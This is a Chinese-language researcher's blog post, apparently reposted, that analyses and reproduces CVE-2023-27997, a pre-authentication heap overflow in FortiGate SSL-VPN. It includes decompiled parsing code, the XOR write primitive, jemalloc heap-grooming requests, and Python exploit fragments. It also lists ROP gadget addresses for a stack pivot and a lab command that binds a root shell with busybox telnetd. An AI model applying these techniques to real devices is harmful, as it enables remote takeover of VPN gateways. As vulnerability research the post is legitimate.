CVE-2023-27997-FortiGate-SSLVPN-HeapOverflow
2023-9-21 00:0:0 Author: bestwing.me(查看原文) 阅读量:43 收藏

TL; DR

由于CVE-2023-27997 漏洞的影响比较大,所以我一直没有公开这篇博客, 但是距离该漏洞公开已经差不多过去了三个月了, 公网的设备应该都修的差不多了吧, 因此这里可以大家分享一下当时我和@leommxj 一起复现该漏洞的笔记。

更具体的漏洞细节可以参考这篇文章: Pre-authentication Remote Code Execution on Fortigate VPN , 而我这里分析版本依旧是 7.2.2

漏洞环境搭建

参考可以参考我上一篇文章 《CVE-2022-42475-FortiGate-SSLVPN-HeapOverflow》

在调试的时候 , 找 @leommxj 和 @explorer 帮我配置了网络环境, 一开始用的是 gdb + vmware 的调试方法,后面改用 gdbserver + gdb 的方法了, 由于 fortigate 的防火墙原因,我们复用了 22 端口 和23 端口

1
2
kill -9 $(pidof sshd) && ./busybox_TELNETD -b 0.0.0.0:22 -l /bin/sh
kill -9 $(pidof telnetd) && ./gdbserver 0.0.0.0:23 --attach $(pidof sslvpnd)

漏洞分析

当我们向 fortigate sslvpn 发送一个 enc 的 HTTP 参数的时候, 会进到一个 parse_enc_data 的函数逻辑里.

image.png

另外这个 enc 处理的 URI 有很多可以进来, 包括 /remote/hostcheck_validate 以及 ^[1] 提到的 /remote/logincheck , 具体 URI 的选择,我们后文接着会提到 。这里接着分析 parse_enc_data 函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
__int64 __fastcall parse_enc_data(__int64 a1, __int64 *pool, const char *in)
{


v30 = __readfsqword(0x28u);
v4 = strlen(in);

int_len = v4;
lenOfData = v4;
if ( (int)v4 <= 11 || (v4 & 1) != 0 )
{
...
}

首先进到函数里, 会先判断 enc 参数的值是否长度大于11, 且偶数 。

1
2
MD5Data(salt, (__int64)in, 8, (__int64)md5);
out = (__int16 *)alignedAlloc(*pool, (int_len >> 1) + 1);

当符合要求后, 会以长度的 1/2 的大小分配一个 buffer , 然后中间会经过一些数据处理,然后到达另外一个 check

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
out = decodedData_ + 2;
xored_given_len = decodedData_[2];
given_len = (unsigned __int8)(xored_given_len ^ md5[0]);
BYTE1(given_len) = md5[1] ^ HIBYTE(xored_given_len);
payloadLength = (unsigned __int8)(xored_given_len ^ md5[0]);
if ( int_len - 5 <= payloadLength )
{
...
}
else
{
v17 = decodedData_ + 3;
out = v17;
if ( (unsigned __int8)xored_given_len != md5[0] )
{
v18 = (unsigned int)(payloadLength - 1);
i = 0LL;
v20 = 2;
while ( 1 )
{
*((_BYTE *)v17 + i) ^= md5[v20];
if ( v18 == i )
break;
v20 = ((_BYTE)i + 3) & 0xF;
if ( (((_BYTE)i + 3) & 0xF) == 0 )
{
...
}
v17 = out;
++i;
}
v17 = (__int16 *)((char *)out + (unsigned __int16)given_len);
}

这里会将数据的长度(实际传入的长度 ) 和 enc 这个参数定义的 payload 的长度比较, 如果符合 int_len - 5 <= payloadLength , 即实际长度大于定义的长度, 即接着往下走。 注意这里会出现一个安全问题:

因为实际分配的buffer 的长度应该是实际长度的 1/2 ,而这里却是用原来的长度比较的,因此后面会发生溢出。但是这里的溢出的字节是一个 md5 异或, 这里会对我们后面的利用提出一点点的难度,但是作者却用了一个很巧妙的来完成 。

这里简单总结下这个函数和提炼下 enc 的结构, 首先 enc 参数是一个包含 seed、size(2 个字节)和数据的结构。大小和数据都是加密的。 大致就下图的样子.

image.png

seed 存储为 8 个十六进制字符,用于计算 XOR 密钥流的第一个状态:

S0 = MD5(salt|seed| "GCC is the GNU Compiler Collection.")

1
2
3
4
5
6
7
8
9
int MD5Data(char *salt, __int64 enc, int size, __int64 output)

MD5_Init(v8);
v6 = strlen(salt);
MD5_Update(v8, salt, v6);
MD5_Update(v8, enc, size);
MD5_Update(v8, "GCC is the GNU Compiler Collection.", 35LL);
MD5_Final(output, v8);
return v9 - __readfsqword(0x

这里的 salt 是由服务器创建的随机值, 可以通过 GET /remote/info HTTP/1.1 获取到

密钥流的其他状态计算如下:

image.png
函数行为:

  1. 计算 MD5(16 字节),这是来自盐和种子的密钥的第一个状态(in 的前 8 个字符)
  2. 分配大小为 in_len / 2 + 1、out 和十六进制解码输入的缓冲区
  3. 通过将有效负载的前两个字节与密钥的前两个字节进行异或运算,计算用户给定的长度 given_len
  4. 边界检查:验证给定的长度不大于缓冲区的大小
  5. 就地解密整个字符串:对前 14 个字节进行 XOR,然后计算一个新状态 𝐾 1个 ,用它对接下来的 16 个字节进行异或,然后重复。
  6. 在解密数据的末尾放置一个 NULL 字节
  7. 当程序检查给定长度不大于发送的有效负载的长度时,它会将 in_len 与 given_len 进行比较。但是,前者以十六进制描述有效负载的长度(例如“41424343”),而后者以原始字节描述其大小(例如“ABCD”)。因此,given_len 可以是它应该的两倍大。因此造成了溢出

这里稍微吐槽一下, IDA 的反编译错误导致很多文章对该漏洞的产生原因的描述有些错误

wrong results of Hex-Rays

漏洞利用

利用原语

首先第一个问题是我们最终选择了 /remote/hostcheck_validate 来做漏洞的触发, 由于漏洞利用原因需要多次请求, 我们如果使用了 /remote/logincheck 容易触发 login-attempt-limit 的限制, 这个默认限制为 2

image.png

接着就是利用原语的问题, 这里直接采用了作者提供的方法 ^[2]

大致的核心原理就是使用两次异或, 这样就不会让前面的数值发生混乱.

image.png

假设我们要修改 5000偏移的值为 0xff , . 那么我们要溢出两次, 第一次将长度设置为 4999 , 此时溢出结束后会将 5000 位置的值写成 0 , 紧接着第二次用我们计算好的 seed 通过 0xff ^ 0 的方式 , 将5000位置设置成 0xff

按照作者说明就是:

image.png

堆布局

我们的目标是去溢出覆盖 SSL 结构中的 handshake_func 指针, 这利用是参考的 orange 当时的一个博客 ^[3]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

int SSL_do_handshake(SSL *s)
{


s->method->ssl_renegotiate_check(s, 0);

if (SSL_in_init(s) || SSL_in_before(s)) {
if ((s->mode & SSL_MODE_ASYNC) && ASYNC_get_current_job() == NULL) {
struct ssl_async_args args;

args.s = s;

ret = ssl_start_async_job(s, &args, ssl_do_handshake_intern);
} else {
ret = s->handshake_func(s);
}
}
return ret;
}

SSL 结构体如下 ^[4]:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
struct ssl_st {




int version;

const SSL_METHOD *method;





BIO *rbio;

BIO *wbio;

BIO *bbio;





int rwstate;
int (*handshake_func) (SSL *);

那这的问题就是转化为, 我们如何稳定的将 out 这个缓冲区放置在 SSL 结构体的缓冲区前面, 这样溢出的时候我们才能覆盖到。这里我们参考了部分作者的思路, 在我们这个测试版本中, SSL 结构的大小为 0x1db8 字节, 他将分配在 0x2000 的缓冲区内 。 另外提一句这里的堆分配器用的是 jemalloc , 符合一些后进先出的规则,因此我们的最终思路大概就是:

我们用了 gdb 设置当前 PC 为 je_malloc_stats_print 函数地址,打印当前 jemalloc 的分配情况

image.png

可以发现默认情况下 0x2000 这么的大的内存是不会怎么使用到的, 因此我们只需要先分配几次 (这里使用 10 次 )分配0x2000 的 buffer,然后释放掉让这连续的内存进入到链表里,方便后面利用的时候让 out 的缓冲区在 ssl 结构体前面。这里的分配原理是通过一个请求给一个解析POST参数的网页 , 在这个请求中,发送了POST key-value对, 其中sizeof(key) = sizeof(struct_ssl) - 0x18 - 0x10 而sizeof(value)=0 , 例如我们发送一个

1
2
3
POST /remote/hostcheck_validate HTTP/1.1

A*(sizeof(struct_ssl) - 0x18 - 0x10)=&

这样理想情况下会分分配一个如下的内存:

image.png

有三个 AAAA 的内存原因是在解析POST数据的时候,程序会这么做:拿到整个POSTDATA缓冲区(例如a=b&c=d&e=f),然后提取出’&’之前的内容,并把它存储在一个新的块里(那是1个分配)。然后,拿到’=’之前的内容,并把它存储在一个新的块里(两个分配)。然后,它将键和值存储在一个全局哈希映射中,这会导致产生第三个分配

这里为了方便观察分配的情况, 我们还可以用到 gdb 的commands 和 logging 功能。大致就是在 je_malloc 分配结束后下断

1
2
3
4
5
6
7
8
9
10
//.text:0000000001776C85 E8 D6 5A CC+                call    _je_malloc
//.text:0000000001776C8A 49 89 C4 mov r12, rax
break *0x1776C8A
commands 1
set logging file ssl_chunk.txt
set logging enable on
p/x $rax
set logging enable off
continue
end

我们尽量让其分配的时候是连续的内存:

image.png

当然在实际环境中可能有其他的干扰,因此我们可以多分配几次 ,例如我上个版本的利用是分配了 301 次, 然后在这几个 sock 都close掉让其释放。我这部分代码如下。

1
2
3
4
5
6
7
8
9
10
def heap_layout(IP, port):

payload = ''
import string
for i in string.printable[:10]:
payload += i*(size) + '=&'

sock = make_ssl_socket(IP, port, if_warp=True)
sock = set_heap_fengshui(sock, payload)
sock.close()

这样之后,我们需要创建两个 sock , 代码如下

1
2
3
4
5
6
7
8
9
10
11
12
def do_rewrtie_ssl_struct(IP, port, salt, seeds):
log.info('Creating sockets...')
time.sleep(1)
vul_sock = make_ssl_socket(IP, port, if_warp=True)
sock4 = make_ssl_socket(IP, port)
sock4.sendall(b'aaaa')

log.info('Rewrite SSL struct')
for seed in seeds:
for offset in seed:
write_value(vul_sock, salt, seed[offset].decode('latin1'), offset)
return (vul_sock, sock4)

其中一个 vul_sock 是用来溢出 buffer , 然后 sock4 是用来分配 ssl 结构体, 用来被溢出的。 这样之后我们就能稳定触发溢出,且稳定的让 ssl 结构体分配在 out 的缓冲区后面

image.png

栈迁移

当触发溢出的时候, 我们的这个时候指针和内存大概如下:

image.png

我们可以发现,当我们控制 PC 后, 这里的 RDI 寄存器指向的是我们的 ssl 结构体, 因此第一个涌上的思路是做栈迁移, 找一个类似于

push rdi; pop rsp; ... ; ret 的 gadget 即可, 我们最后使用的是 push_rdi_pop_rsp = 0x669129 # push rdi ; pop rsp ; pop r13 ; pop r14 ; pop r15 ; pop rbp ; ret

这样就将栈成功迁移到了我们的 ssl stuct , 即可控的可写的缓冲区内。 然后这里预期直接在 ssl 缓冲区接着写我们剩下的 gadget , 但是这里突然发现了一个问题, ssl struct 似乎有很多结构体不能被写, 一写就报错 。

于是我在这里换了个思路, 接着尝试布局堆结构,理想情况应该是:

image.png

或者

image.png

在 out 前面 , 或者 ssl struct 的后面布局一块完全可控的内存, 但是由于我们的这块完全可控的内存是不能被 00 截断的, 因此key-value 对的 key 似乎是不能用来布局的,但是这里我想了下, key 不能被用来布局堆, 但是 value 应该是可以的!! 因此我在溢出结束之后, 接着尝试用如下代码发包:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
def layout_gadget(IP, port):
ropchain = build_ropchain(args)
sock = make_ssl_socket(IP, port, if_warp=True)
for i in range(10):
junk = cyclic(size, n=8)
pay = bytearray(junk)


junk = bytes(pay)

payload = 'aaaa' + '=' + junk + '&' + 'bbbb' + '=' + junk + '&' + 'cccc' + '=' + junk + '&' + 'dddd' + '=' + junk + '&' + 'eeee' + '=' + junk
payload += '&username=vvvv'
sock = set_heap_fengshui(sock, payload)

return sock

成功在 out 缓冲区写下了一块可控的内存

image.png

因此此时内存结构如下:

image.png

由于 ssl struct 有很多不能写的地方, 于是我想到一个方法, 尝试去找大量连续是 0 的缓冲区, 然后仅仅写入另外一段 stack pivot chain,将栈迁移到前面的可控缓冲区中 。最后我使用了这样的 chain :

1
2
3
4
0x000000000060bdb4   # pop rax ; pop rdx ; ret
bss_addr = 0x4698eb0 # -> rax
offfset = 0x26e0-1 # rdx -> ropchain
0x61a292 # : sub rsp, rdx ; dec dword ptr [rax - 0x77] ; ret

通过这条 chain, 将栈迁移到前面的缓冲区, 进行更复杂的操作。

执行任意指令

在完成此部分之后,接下来就是组装ROP链的过程了。尽管该程序非常庞大,以至于几乎可以找到所需的任何gadget链,但找寻gadget终究是一个相对繁琐的任务。因此,最后决定采用mprotect + shellcode的方法。首先,利用一些gadget将rdi指向ROP链的内存开头。

这一部分内容就留作给读者完成吧

Demo

I learned a lot from @cfreal_ , and it's great to write exploits together with @leommxj.#CVE-2023-27997 pic.twitter.com/nEFndgvoVD

— swing (@bestswngs) June 17, 2023

^[1] https://labs.watchtowr.com/xortigate-or-cve-2023-27997/
^[2] https://blog.lexfo.fr/xortigate-cve-2023-27997.html
^[3] attacking-ssl-vpn-part-2-breaking-the-Fortigate-ssl-vpn
^[4] https://github.dev/openssl/openssl/tree/openssl-3.0.0


文章来源: https://bestwing.me/CVE-2023-27997-FortiGate-SSLVPN-Heap-Overflow.html
如有侵权请联系:admin#unsafe.sh